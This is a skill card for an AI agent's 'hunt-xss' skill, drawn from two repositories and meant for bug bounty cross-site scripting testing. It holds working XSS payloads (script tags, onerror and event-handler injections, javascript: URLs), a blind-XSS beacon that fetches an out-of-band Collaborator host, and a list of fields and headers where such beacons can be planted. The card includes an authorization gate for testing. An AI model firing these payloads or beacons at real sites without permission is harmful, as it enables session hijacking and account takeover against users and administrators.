domains / security / xss-hunting / hunt-xss

hunt-xss

Skill card

combined

The two copies share the same core structure (Crown Jewel Targets and the OOB-Or-It-Didn't-Happen Gate are nearly identical), but each contains material steps the other lacks. The uphiago copy provides a framework-specific sink verification table (React/Vue/Angular/Svelte/Next.js) and a grep command to check JS bundles for dangerous rendering patterns, which is a critical 'presence vs. exploitation' gate. The sickn33 copy provides a mandatory authorization confirmation gate, a unique numeric canary strategy to distinguish real payloads from decoys, and a specific ordered list of injection contexts (inline script, attribute event, URL/href). Crowning one would hide the other's unique verification and safety procedures.

Repositories

RepositoryPath
uphiago/recon-skillsredteam/hunt-xss/SKILL.md
sickn33/agentic-awesome-skillsplugins/agentic-awesome-skills-claude/skills/hunt-xss/SKILL.md

Other copies

RoleRepositoryPath
peeruphiago/recon-skillsredteam/hunt-xss/SKILL.md
peersickn33/agentic-awesome-skillsplugins/agentic-awesome-skills-claude/skills/hunt-xss/SKILL.md
adaptersickn33/agentic-awesome-skillsplugins/agentic-awesome-skills/skills/hunt-xss/SKILL.md
adaptersickn33/agentic-awesome-skillsskills/hunt-xss/SKILL.md

Combined skill

---
name: hunt-xss
description: Hunting skill for xss vulnerabilities. Built from 174 public bug bounty reports. Use when hunting xss on any target.
version: 1.2.0
license: MIT
category: security
risk: offensive
---

## When to Use

Use when the target has any endpoint where user input is reflected in HTML output, processed by a JavaScript framework, or stored for later display. XSS is the foundational client-side vulnerability class — it enables session hijacking, data theft, phishing, and account takeover. Every form, search field, URL parameter, file upload, and user-controlled field is a candidate. Highest-value targets: admin panels, OAuth sign-in pages, markdown/wiki renderers, email templates, file upload endpoints (SVG/HTML), and help/documentation sites with looser security posture.

## Mandatory Authorization Gate

> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.

Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

## ⚠️ CRITICAL: Presence ≠ Exploitation

**Reflection of HTML tags does NOT mean XSS is exploitable.** Modern frameworks escape text by default. Before calling a finding XSS, you MUST verify the sink:

| Framework | Default Behavior | XSS Possible Only With |
|-----------|-----------------|----------------------|
| React/JSX | Escapes all text | `dangerouslySetInnerHTML`, `innerHTML` on refs |
| Vue | Escapes `{{ }}` | `v-html` directive |
| Angular | Escapes `{{ }}` | `[innerHTML]` binding |
| Svelte | Escapes `{ }` | `{@html}` tag |
| Next.js RSC | Escapes JSX text | `dangerouslySetInnerHTML` in components |
| Plain HTML/JS | Does NOT escape | `innerHTML`, `document.write()`, `eval()` |

**XSS verification checklist:**
1. ✅ Payload is REFLECTED/STORED in response (presence)
2. ✅ Payload appears in a RENDERABLE context (sink check)
3. ✅ Payload EXECUTES in browser (proof of exploitation)

If step 1 passes but step 2 fails → **LOW: HTML storage without exploitable sink**. The React ecosystem alone prevents ~90% of apparent XSS because JSX auto-escapes.

**How to Check for Sinks:**
```bash
# In JS bundles — search for dangerous rendering patterns
grep -rEn 'dangerouslySetInnerHTML|innerHTML|outerHTML|v-html|\[innerHTML\]|\{@html\}|insertAdjacentHTML|document\.write\(|eval\(' /tmp/target_js/

# If NONE appear near the reflected field → NOT exploitable XSS
# If found → verify the specific field reaches that sink
```

## Autonomous Testing Priority

**Verify reflection before claiming XSS — encoding is everything.**

Your payload must appear in the response body with angle brackets UNESCAPED. `<script>` is XSS. `&lt;script&gt;` is safe encoding — not vulnerable.

**Use a UNIQUE NUMERIC CANARY in your proof payload** — e.g. `<script>alert(91234)</script>` or `"><img src=x onerror=alert(91234)>`. Pick a distinctive 4+ digit number, not `alert(1)`. Practice pages are full of *example* payloads like `alert(1)`/`alert('XSS')` in their hint text; a unique number is how you tell YOUR reflected payload apart from the page's decoy examples. Proof = your `alert(<canary>)` shows up in the response with raw, unescaped angle brackets.

**Try these contexts in order:**

1. **Inline script injection** (works when HTML context allows new tags):
   ```
   <script>alert(CANARY)</script>
   ```
   Use whatever canary string your proof contract specifies. Confirmed when `<script>alert(CANARY)` appears literally (not HTML-encoded) in the response.

2. **Attribute event injection** (when `<` is filtered but attributes are injectable):
   ```
   " onmouseover="alert(CANARY)
   " onerror="alert(CANARY)
   " onload="alert(CANARY)
   ```

3. **URL/href context:**
   ```
   javascript:alert(CANARY)
   ```

**Distinguishing success from failure:**
- **Vulnerable:** response contains `<script>alert(` unescaped — browser would execute it
- **Filtered/safe:** response contains `&lt;script&gt;` or `&#x3C;script&#x3E;` — properly encoded
- **Blocked:** response is an error, or the reflected value is absent entirely

**For stored XSS:** inject into a field that other pages display (comments, usernames, ticket titles). Then fetch the rendering page and check for unescaped payload. The payload executes when any user views that page — higher severity than reflected.

## Crown Jewel Targets

XSS is high-value when it combines **privileged context + persistent delivery + scope escalation**. The highest payouts come from:

- **Admin panels and authenticated dashboards** (e.g., `*/admin`, `*/settings`) — attacker can hijack sessions with elevated privileges, exfiltrate tokens, or pivot to account takeover
- **Payment/financial flows** (`paypal.com`, checkout pages, currency converters) — XSS here enables credential harvesting and financial fraud at scale
- **Stored XSS in collaborative features** (wikis, markdown renderers, issue trackers, RDoc, labels, tags) — one payload infects every viewer, multiplying impact
- **SSO/signin pages** (e.g., `paypal.com/signin`) — XSS here is critical because it can steal auth tokens across the entire platform
- **Shared SaaS tenant surfaces** (`*.[SHOPIFY_STORE]`, `api.collabs.*`) — XSS in one tenant's context can bleed across tenant boundaries
- **Help/documentation sites** (`help.shopify.com`) — lower severity individually, but often have looser sanitization and trusted user perception
- **SVG/file upload endpoints** — frequently bypasses CSP and sanitization simultaneously

**Asset types that pay most:** Main product domains > Admin subdomains > API endpoints > Marketing/help sites

## OOB-Or-It-Didn't-Happen Gate (Blind / Stored XSS)

For blind and stored XSS — claims require an out-of-band confirmation, the same as blind SSRF. The OOB receiver fires when the payload actually executes in a browser somewhere (an admin reviewing logs, a SOC analyst opening a ticket, an email rendering a stored payload).

### What is NOT confirmation

- ASP.NET request validator rejected your `<` and returned a different status code → not XSS, that's WAF noise.
- Your payload appears in the response body URL-encoded or HTML-encoded → not XSS, that's correct output encoding.
- The form action attribute contains your payload string as `%22onclick%3D…` → not XSS, the browser does NOT decode URL encoding inside HTML attribute values; the `%22` stays as literal `%22` in the DOM.
- Your `<script>` tag appears in the response as `&lt;script&gt;` → not XSS, that's escaping.

### What IS confirmation

- A request to your unique Collaborator subdomain (e.g., `bxss-err-<random>.<collab>.oastify.com`) arrives in the OOB listener after your payload was stored / reflected / queued.
- For stored XSS: the request arrives **hours or days later** when an admin views the affected resource. Plant payloads early in the engagement and keep the listener open.
- The User-Agent of the firing request is a browser (Mozilla/Chrome), not the server's own backend HTTP client.

### Where to plant blind-XSS beacons

Any field whose value might be viewed in an admin UI / log viewer / email / report later:
- Error messages (`?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>`)
- Auth-flow source params (`?Source=`, `?ReturnUrl=`)
- Login form username field (admin may view audit logs of failed logins)
- User-Agent header (some SOC consoles render UA as HTML)
- Referer header (some analytics dashboards render Referer as HTML)
- Email addresses on registration / contact forms
- File-upload filenames

**Always sub-tag the Collaborator subdomain by sink** so callbacks identify which field fired.